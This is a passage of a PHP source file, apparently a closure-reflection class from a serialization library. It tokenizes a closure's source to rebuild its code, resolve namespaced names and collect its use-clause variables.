$ns); 96 | 97 | $_file = var_export($fileName, true); 98 | $_dir = var_export(dirname($fileName), true); 99 | $_namespace = var_export($ns, true); 100 | $_class = var_export(trim($className, '\\'), true); 101 | $_function = $ns . ($ns == '' ? '' : '\\') . '{closure}'; 102 | $_method = ($className == '' ? '' : trim($className, '\\') . '::') . $_function; 103 | $_function = var_export($_function, true); 104 | $_method = var_export($_method, true); 105 | $_trait = null; 106 | 107 | $tokens = $this->getTokens(); 108 | $state = $lastState = 'start'; 109 | $inside_anonymous = false; 110 | $anonymous_mark = 0; 111 | $open = 0; 112 | $code = ''; 113 | $id_start = $id_start_ci = $id_name = $context = ''; 114 | $classes = $functions = $constants = null; 115 | $use = array(); 116 | $lineAdd = 0; 117 | $isUsingScope = false; 118 | $isUsingThisObject = false; 119 | 120 | for($i = 0, $l = count($tokens); $i < $l; $i++) { 121 | $token = $tokens[$i]; 122 | switch ($state) { 123 | case 'start': 124 | if ($token[0] === T_FUNCTION || $token[0] === T_STATIC) { 125 | $code .= $token[1]; 126 | $state = $token[0] === T_FUNCTION ? 'function' : 'static'; 127 | } 128 | break; 129 | case 'static': 130 | if ($token[0] === T_WHITESPACE || $token[0] === T_COMMENT || $token[0] === T_FUNCTION) { 131 | $code .= $token[1]; 132 | if ($token[0] === T_FUNCTION) { 133 | $state = 'function'; 134 | } 135 | } else { 136 | $code = ''; 137 | $state = 'start'; 138 | } 139 | break; 140 | case 'function': 141 | switch ($token[0]){ 142 | case T_STRING: 143 | $code = ''; 144 | $state = 'named_function'; 145 | break; 146 | case '(': 147 | $code .= '('; 148 | $state = 'closure_args'; 149 | break; 150 | default: 151 | $code .= is_array($token) ? $token[1] : $token; 152 | } 153 | break; 154 | case 'named_function': 155 | if($token[0] === T_FUNCTION || $token[0] === T_STATIC){ 156 | $code = $token[1]; 157 | $state = $token[0] === T_FUNCTION ? 'function' : 'static'; 158 | } 159 | break; 160 | case 'closure_args': 161 | switch ($token[0]){ 162 | case T_NS_SEPARATOR: 163 | case T_STRING: 164 | $id_start = $token[1]; 165 | $id_start_ci = strtolower($id_start); 166 | $id_name = ''; 167 | $context = 'args'; 168 | $state = 'id_name'; 169 | $lastState = 'closure_args'; 170 | break; 171 | case T_USE: 172 | $code .= $token[1]; 173 | $state = 'use'; 174 | break; 175 | case '=': 176 | $code .= $token; 177 | $lastState = 'closure_args'; 178 | $state = 'ignore_next'; 179 | break; 180 | case ':': 181 | $code .= ':'; 182 | $state = 'return'; 183 | break; 184 | case '{': 185 | $code .= '{'; 186 | $state = 'closure'; 187 | $open++; 188 | break; 189 | default: 190 | $code .= is_array($token) ? $token[1] : $token; 191 | } 192 | break; 193 | case 'use': 194 | switch ($token[0]){ 195 | case T_VARIABLE: 196 | $use[] = substr($token[1], 1); 197 | $code .= $token[1]; 198 | break; 199 | case '{': 200 | $code .= '{'; 201 | $state = 'closure'; 202 | $open++; 203 | break; 204 | case ':': 205 | $code .= ':'; 206 | $state = 'return'; 207 | break; 208 | default: 209 | $code .= is_array($token) ? $token[1] : $token; 210 | break; 211 | } 212 | break; 213 | case 'return': 214 | switch ($token[0]){ 215 | case T_WHITESPACE: 216 | case T_COMMENT: 217 | case T_DOC_COMMENT: 218 | $code .= $token[1]; 219 | break; 220 | case T_NS_SEPARATOR: 221 | case T_STRING: 222 | $id_start = $token[1]; 223 | $id_start_ci = strtolower($id_start); 224 | $id_name = ''; 225 | $context = 'return_type'; 226 | $state = 'id_name'; 227 | $lastState = 'return'; 228 | break 2; 229 | case '{': 230 | $code .= '{'; 231 | $state = 'closure'; 232 | $open++; 233 | break; 234 | default: 235 | $code .= is_array($token) ? $token[1] : $token; 236 | break; 237 | } 238 | break; 239 | case 'closure': 240 | switch ($token[0]){ 241 | case T_CURLY_OPEN: 242 | case T_DOLLAR_OPEN_CURLY_BRACES: 243 | case T_STRING_VARNAME: 244 | case '{': 245 | $code .= '{'; 246 | $open++; 247 | break; 248 | case '}': 249 | $code .= '}'; 250 | if(--$open === 0){ 251 | break 3; 252 | } elseif ($inside_anonymous) { 253 | $inside_anonymous = !($open === $anonymous_mark); 254 | } 255 | break; 256 | case T_LINE: 257 | $code .= $token[2] - $line + $lineAdd; 258 | break; 259 | case T_FILE: 260 | $code .= $_file; 261 | break; 262 | case T_DIR: 263 | $code .= $_dir; 264 | break; 265 | case T_NS_C: 266 | $code .= $_namespace; 267 | break; 268 | case T_CLASS_C: 269 | $code .= $_class; 270 | break; 271 | case T_FUNC_C: 272 | $code .= $_function; 273 | break; 274 | case T_METHOD_C: 275 | $code .= $_method; 276 | break; 277 | case T_COMMENT: 278 | if (substr($token[1], 0, 8) === '#trackme') { 279 | $timestamp = time(); 280 | $code .= '/**' . PHP_EOL; 281 | $code .= '* Date : ' . date(DATE_W3C, $timestamp) . PHP_EOL; 282 | $code .= '* Timestamp : ' . $timestamp . PHP_EOL; 283 | $code .= '* Line : ' . ($line + 1) . PHP_EOL; 284 | $code .= '* File : ' . $_file . PHP_EOL . '*/' . PHP_EOL; 285 | $lineAdd += 5; 286 | } else { 287 | $code .= $token[1]; 288 | } 289 | break; 290 | case T_VARIABLE: 291 | if($token[1] == '$this' && !$inside_anonymous){ 292 | $isUsingThisObject = true; 293 | } 294 | $code .= $token[1]; 295 | break; 296 | case T_STATIC: 297 | $isUsingScope = true; 298 | $code .= $token[1]; 299 | break; 300 | case T_NS_SEPARATOR: 301 | case T_STRING: 302 | $id_start = $token[1]; 303 | $id_start_ci = strtolower($id_start); 304 | $id_name = ''; 305 | $context = 'root'; 306 | $state = 'id_name'; 307 | $lastState = 'closure'; 308 | break 2; 309 | case T_NEW: 310 | $code .= $token[1]; 311 | $context = 'new'; 312 | $state = 'id_start'; 313 | $lastState = 'closure'; 314 | break 2; 315 | case T_USE: 316 | $code .= $token[1]; 317 | $context = 'use'; 318 | $state = 'id_start'; 319 | $lastState = 'closure'; 320 | break; 321 | case T_INSTANCEOF: 322 | $code .= $token[1]; 323 | $context = 'instanceof'; 324 | $state = 'id_start'; 325 | $lastState = 'closure'; 326 | break; 327 | case T_OBJECT_OPERATOR: 328 | case T_DOUBLE_COLON: 329 | $code .= $token[1]; 330 | $lastState = 'closure'; 331 | $state = 'ignore_next'; 332 | break; 333 | case T_FUNCTION: 334 | $code .= $token[1]; 335 | $state = 'closure_args'; 336 | break; 337 | case T_TRAIT_C: 338 | if ($_trait === null) { 339 | $startLine = $this->getStartLine(); 340 | $endLine = $this->getEndLine(); 341 | $structures = $this->getStructures(); 342 | 343 | $_trait = ''; 344 | 345 | foreach ($structures as &$struct) { 346 | if ($struct['type'] === 'trait' && 347 | $struct['start'] <= $startLine && 348 | $struct['end'] >= $endLine 349 | ) { 350 | $_trait = ($ns == '' ? '' : $ns . '\\') . $struct['name']; 351 | break; 352 | } 353 | } 354 | 355 | $_trait = var_export($_trait, true); 356 | } 357 | 358 | $code .= $_trait; 359 | break; 360 | default: 361 | $code .= is_array($token) ? $token[1] : $token; 362 | } 363 | break; 364 | case 'ignore_next': 365 | switch ($token[0]){ 366 | case T_WHITESPACE: 367 | case T_COMMENT: 368 | case T_DOC_COMMENT: 369 | $code .= $token[1]; 370 | break; 371 | case T_CLASS: 372 | case T_NEW: 373 | case T_STATIC: 374 | case T_VARIABLE: 375 | case T_STRING: 376 | case T_CLASS_C: 377 | case T_FILE: 378 | case T_DIR: 379 | case T_METHOD_C: 380 | case T_FUNC_C: 381 | case T_FUNCTION: 382 | case T_INSTANCEOF: 383 | case T_LINE: 384 | case T_NS_C: 385 | case T_TRAIT_C: 386 | case T_USE: 387 | $code .= $token[1]; 388 | $state = $lastState; 389 | break; 390 | default: 391 | $state = $lastState; 392 | $i--; 393 | } 394 | break; 395 | case 'id_start': 396 | switch ($token[0]){ 397 | case T_WHITESPACE: 398 | case T_COMMENT: 399 | case T_DOC_COMMENT: 400 | $code .= $token[1]; 401 | break; 402 | case T_NS_SEPARATOR: 403 | case T_STRING: 404 | case T_STATIC: 405 | $id_start = $token[1]; 406 | $id_start_ci = strtolower($id_start); 407 | $id_name = ''; 408 | $state = 'id_name'; 409 | break 2; 410 | case T_VARIABLE: 411 | $code .= $token[1]; 412 | $state = $lastState; 413 | break; 414 | case T_CLASS: 415 | $code .= $token[1]; 416 | $state = 'anonymous'; 417 | break; 418 | default: 419 | $i--;//reprocess last 420 | $state = 'id_name'; 421 | } 422 | break; 423 | case 'id_name': 424 | switch ($token[0]){ 425 | case T_NS_SEPARATOR: 426 | case T_STRING: 427 | $id_name .= $token[1]; 428 | break; 429 | case T_WHITESPACE: 430 | case T_COMMENT: 431 | case T_DOC_COMMENT: 432 | $id_name .= $token[1]; 433 | break; 434 | case '(': 435 | if($context === 'new' || false !== strpos($id_name, '\\')){ 436 | if($id_start !== '\\'){ 437 | if ($classes === null) { 438 | $classes = $this->getClasses(); 439 | } 440 | if (isset($classes[$id_start_ci])) { 441 | $id_start = $classes[$id_start_ci]; 442 | } 443 | if($id_start[0] !== '\\'){ 444 | $id_start = $nsf . '\\' . $id_start; 445 | } 446 | } 447 | } else { 448 | if($id_start !== '\\'){ 449 | if($functions === null){ 450 | $functions = $this->getFunctions(); 451 | } 452 | if(isset($functions[$id_start_ci])){ 453 | $id_start = $functions[$id_start_ci]; 454 | } 455 | } 456 | } 457 | $code .= $id_start . $id_name . '('; 458 | $state = $lastState; 459 | break; 460 | case T_VARIABLE: 461 | case T_DOUBLE_COLON: 462 | if($id_start !== '\\') { 463 | if($id_start_ci === 'self' || $id_start_ci === 'static' || $id_start_ci === 'parent'){ 464 | $isUsingScope = true; 465 | } elseif (!($php7 && in_array($id_start_ci, $php7_types))){ 466 | if ($classes === null) { 467 | $classes = $this->getClasses(); 468 | } 469 | if (isset($classes[$id_start_ci])) { 470 | $id_start = $classes[$id_start_ci]; 471 | } 472 | if($id_start[0] !== '\\'){ 473 | $id_start = $nsf . '\\' . $id_start; 474 | } 475 | } 476 | } 477 | $code .= $id_start . $id_name . $token[1]; 478 | $state = $token[0] === T_DOUBLE_COLON ? 'ignore_next' : $lastState; 479 | break; 480 | default: 481 | if($id_start !== '\\'){ 482 | if($context === 'use' || 483 | $context === 'instanceof' || 484 | $context === 'args' || 485 | $context === 'return_type' || 486 | $context === 'extends' 487 | ){ 488 | if($id_start_ci === 'self' || $id_start_ci === 'static' || $id_start_ci === 'parent'){ 489 | $isUsingScope = true; 490 | } elseif (!($php7 && in_array($id_start_ci, $php7_types))){ 491 | if($classes === null){ 492 | $classes = $this->getClasses(); 493 | } 494 | if(isset($classes[$id_start_ci])){ 495 | $id_start = $classes[$id_start_ci]; 496 | } 497 | if($id_start[0] !== '\\'){ 498 | $id_start = $nsf . '\\' . $id_start; 499 | } 500 | } 501 | } else { 502 | if($constants === null){ 503 | $constants = $this->getConstants(); 504 | } 505 | if(isset($constants[$id_start])){ 506 | $id_start = $constants[$id_start]; 507 | } 508 | } 509 | } 510 | $code .= $id_start . $id_name; 511 | $state = $lastState; 512 | $i--;//reprocess last token 513 | } 514 | break; 515 | case 'anonymous': 516 | switch ($token[0]) { 517 | case T_NS_SEPARATOR: 518 | case T_STRING: 519 | $id_start = $token[1]; 520 | $id_start_ci = strtolower($id_start); 521 | $id_name = ''; 522 | $state = 'id_name'; 523 | $context = 'extends'; 524 | $lastState = 'anonymous'; 525 | break; 526 | case '{': 527 | $state = 'closure'; 528 | if (!$inside_anonymous) { 529 | $inside_anonymous = true; 530 | $anonymous_mark = $open; 531 | } 532 | $i--; 533 | break; 534 | default: 535 | $code .= is_array($token) ? $token[1] : $token; 536 | } 537 | break; 538 | } 539 | } 540 | 541 | $this->isBindingRequired = $isUsingThisObject; 542 | $this->isScopeRequired = $isUsingScope; 543 | $this->code = $code; 544 | $this->useVariables = empty($use) ? $use : array_intersect_key($this->getStaticVariables(), array_flip($use)); 545 | 546 | return $this->code; 547 | } 548 | 549 | /** 550 | * @return array 551 | */ 552 | public function getUseVariables() 553 | { 554 | if($this->useVariables !== null){ 555 | return $this->useVariables; 556 | } 557 | 558 | $tokens = $this->getTokens(); 559 | $use = array(); 560 | $state = 'start'; 561 | 562 | foreach ($tokens as &$token) { 563 | $is_array = is_array($token); 564 | 565 | switch ($state) { 566 | case 'start': 567 | if ($is_array && $token[0] === T_USE) { 568 | $state = 'use'; 569 | } 570 | break; 571 | case 'use': 572 | if ($is_array) { 573 | if ($token[0] === T_VARIABLE) { 574 | $use[] = substr($token[1], 1); 575 | } 576 | } elseif ($token == ')') { 577 | break 2; 578 | } 579 | break; 580 | } 581 | } 582 | 583 | $this->useVariables = empty($use) ? $use : array_intersect_key($this->getStaticVariables(), array_flip($use)); 584 | 585 | return $this->useVariables; 586 | } 587 | 588 | /** 589 | * return bool 590 | */ 591 | public function isBindingRequired() 592 | { 593 | if($this->isBindingRequired === null){ 594 | $this->getCode(); 595 | } 596 | 597 | return $this->isBindingRequired; 598 | } 599 | 600 | /** 601 | * return bool 602 | */ 603 | public function isScopeRequired() 604 | { 605 | if($this->isScopeRequired === null){ 606 | $this->getCode(); 607 | } 608 | 609 | return $this->isScopeRequired; 610 | } 611 | 612 | /** 613 | * @return string 614 | */ 615 | protected function getHashedFileName() 616 | { 617 | if ($this->hashedName === null) { 618 | $this->hashedName = sha1($this->getFileName()); 619 | } 620 | 621 | return $this->hashedName; 622 | } 623 | 624 | /** 625 | * @return array 626 | */ 627 | protected function getFileTokens() 628 | { 629 | $key = $this->getHashedFileName(); 630 | 631 | if (!isset(static::$files[$key])) { 632 | static::$files[$key] = token_get_all(file_get_contents($this->getFileName())); 633 | } 634 | 635 | return static::$files[$key]; 636 | } 637 | 638 | /** 639 | * @return array 640 | */ 641 | protected function getTokens() 642 | { 643 | if ($this->tokens === null) { 644 | $tokens = $this->getFileTokens(); 645 | $startLine = $this->getStartLine(); 646 | $endLine = $this->getEndLine(); 647 | $results = array(); 648 | $start = false; 649 | 650 | foreach ($tokens as &$token) { 651 | if (!is_array($token)) { 652 | if ($start) { 653 | $results[] = $token; 654 | } 655 | 656 | continue; 657 | } 658 | 659 | $line = $token[2]; 660 | 661 | if ($line <= $endLine) { 662 | if ($line >= $startLine) { 663 | $start = true; 664 | $results[] = $token; 665 | } 666 | 667 | continue; 668 | } 669 | 670 | break; 671 | } 672 | 673 | $this->tokens = $results; 674 | } 675 | 676 | return $this->tokens; 677 | } 678 | 679 | /** 680 | * @return array 681 | */ 682 | protected function getClasses() 683 | { 684 | $key = $this->getHashedFileName(); 685 | 686 | if (!isset(static::$classes[$key])) { 687 | $this->fetchItems(); 688 | } 689 | 690 | return static::$classes[$key]; 691 | } 692 | 693 | /** 694 | * @return array 695 | */ 696 | protected function getFunctions() 697 | { 698 | $key = $this->getHashedFileName(); 699 | 700 | if (!isset(static::$functions[$key])) { 701 | $this->fetchItems(); 702 | } 703 | 704 | return static::$functions[$key]; 705 | } 706 | 707 | /** 708 | * @return array 709 | */ 710 | protected function getConstants() 711 | { 712 | $key = $this->getHashedFileName(); 713 | 714 | if (!isset(static::$constants[$key])) { 715 | $this->fetchItems(); 716 | } 717 | 718 | return static::$constants[$key]; 719 | } 720 | 721 | /** 722 | * @return array 723 | */ 724 | protected function getStructures() 725 | { 726 | $key = $this->getHashedFileName(); 727 | 728 | if (!isset(static::$structures[$key])) { 729 | $this->fetchItems(); 730 | } 731 | 732 | return static::$structures[$key]; 733 | } 734 | 735 | protected function fetchItems() 736 | { 737 | $key = $this->getHashedFileName(); 738 | 739 | $classes = array(); 740 | $functions = array(); 741 | $constants = array(); 742 | $structures = array(); 743 | $tokens = $this->getFileTokens(); 744 | 745 | $open = 0; 746 | $state = 'start'; 747 | $lastState = ''; 748 | $prefix = ''; 749 | $name = ''; 750 | $alias = ''; 751 | $isFunc = $isConst = false; 752 | 753 | $startLine = $endLine = 0; 754 | $structType = $structName = ''; 755 | $structIgnore = false; 756 | 757 | foreach ($tokens as $token) { 758 | 759 | switch ($state) { 760 | case 'start': 761 | switch ($token[0]) { 762 | case T_CLASS: 763 | case T_INTERFACE: 764 | case T_TRAIT: 765 | $state = 'before_structure'; 766 | $startLine = $token[2]; 767 | $structType = $token[0] == T_CLASS 768 | ? 'class' 769 | : ($token[0] == T_INTERFACE ? 'interface' : 'trait'); 770 | break; 771 | case T_USE: 772 | $state = 'use'; 773 | $prefix = $name = $alias = ''; 774 | $isFunc = $isConst = false; 775 | break; 776 | case T_FUNCTION: 777 | $state = 'structure'; 778 | $structIgnore = true; 779 | break; 780 | case T_NEW: 781 | $state = 'new'; 782 | break; 783 | case T_OBJECT_OPERATOR: 784 | case T_DOUBLE_COLON: 785 | $state = 'invoke'; 786 | break; 787 | } 788 | break; 789 | case 'use': 790 | switch ($token[0]) { 791 | case T_FUNCTION: 792 | $isFunc = true; 793 | break; 794 | case T_CONST: 795 | $isConst = true; 796 | break; 797 | case T_NS_SEPARATOR: 798 | $name .= $token[1]; 799 | break; 800 | case T_STRING: 801 | $name .= $token[1]; 802 | $alias = $token[1]; 803 | break; 804 | case T_AS: 805 | $lastState = 'use'; 806 | $state = 'alias'; 807 | break; 808 | case '{': 809 | $prefix = $name; 810 | $name = $alias = ''; 811 | $state = 'use-group'; 812 | break; 813 | case ',': 814 | case ';': 815 | if ($name === '' || $name[0] !== '\\') { 816 | $name = '\\' . $name; 817 | } 818 | 819 | if ($alias !== '') { 820 | if ($isFunc) { 821 | $functions[strtolower($alias)] = $name; 822 | } elseif ($isConst) { 823 | $constants[$alias] = $name; 824 | } else { 825 | $classes[strtolower($alias)] = $name; 826 | } 827 | } 828 | $name = $alias = ''; 829 | $state = $token === ';' ? 'start' : 'use'; 830 | break; 831 | } 832 | break; 833 | case 'use-group': 834 | switch ($token[0]) { 835 | case T_NS_SEPARATOR: 836 | $name .= $token[1]; 837 | break; 838 | case T_STRING: 839 | $name .= $token[1]; 840 | $alias = $token[1]; 841 | break; 842 | case T_AS: 843 | $lastState = 'use-group'; 844 | $state = 'alias'; 845 | break; 846 | case ',': 847 | case '}': 848 | 849 | if ($prefix === '' || $prefix[0] !== '\\') { 850 | $prefix = '\\' . $prefix; 851 | } 852 | 853 | if ($alias !== '') { 854 | if ($isFunc) { 855 | $functions[strtolower($alias)] = $prefix . $name; 856 | } elseif ($isConst) { 857 | $constants[$alias] = $prefix . $name; 858 | } else { 859 | $classes[strtolower($alias)] = $prefix . $name; 860 | } 861 | } 862 | $name = $alias = ''; 863 | $state = $token === '}' ? 'use' : 'use-group'; 864 | break; 865 | } 866 | break; 867 | case 'alias': 868 | if ($token[0] === T_STRING) { 869 | $alias = $token[1]; 870 | $state = $lastState; 871 | } 872 | break; 873 | case 'new': 874 | switch ($token[0]) { 875 | case T_WHITESPACE: 876 | case T_COMMENT: 877 | case T_DOC_COMMENT: 878 | break 2; 879 | case T_CLASS: 880 | $state = 'structure'; 881 | $structIgnore = true; 882 | break; 883 | default: 884 | $state = 'start'; 885 | } 886 | break; 887 | case 'invoke': 888 | switch ($token[0]) { 889 | case T_WHITESPACE: 890 | case T_COMMENT: 891 | case T_DOC_COMMENT: 892 | break 2; 893 | default: 894 | $state = 'start'; 895 | } 896 | break; 897 | case 'before_structure': 898 | if ($token[0] == T_STRING) { 899 | $structName = $token[1]; 900 | $state = 'structure'; 901 | } 902 | break; 903 | case 'structure': 904 | switch ($token[0]) { 905 | case '{': 906 | case T_CURLY_OPEN: 907 | case T_DOLLAR_OPEN_CURLY_BRACES: 908 | case T_STRING_VARNAME: 909 | $open++; 910 | break; 911 | case '}': 912 | if (--$open == 0) { 913 | if(!$structIgnore){ 914 | $structures[] = array( 915 | 'type' => $structType, 916 | 'name' => $structName, 917 | 'start' => $startLine, 918 | 'end' => $endLine, 919 | ); 920 | } 921 | $structIgnore = false; 922 | $state = 'start'; 923 | } 924 | break; 925 | default: 926 | if (is_array($token)) { 927 | $endLine = $token[2]; 928 | } 929 | } 930 | break; 931 | } 932 | } 933 | 934 | static::$classes[$key] = $classes; 935 | static::$functions[$key] = $functions; 936 | static::$constants[$key] = $constants; 937 | static::$structures[$key] = $structures; 938 | } 939 | } 940 | --------------------------------------------------------------------------------